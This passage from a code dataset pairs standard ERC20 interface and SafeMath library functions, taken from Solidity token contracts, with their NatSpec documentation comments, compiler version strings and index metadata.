function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
84,
141
]
} | 8,303 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
214,
284
]
} | 8,304 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
486,
565
]
} | 8,305 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
822,
907
]
} | 8,306 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
1528,
1604
]
} | 8,307 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
1889,
1988
]
} | 8,308 |
||||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
253,
441
]
} | 8,309 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
713,
854
]
} | 8,310 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1146,
1379
]
} | 8,311 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1627,
2111
]
} | 8,312 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
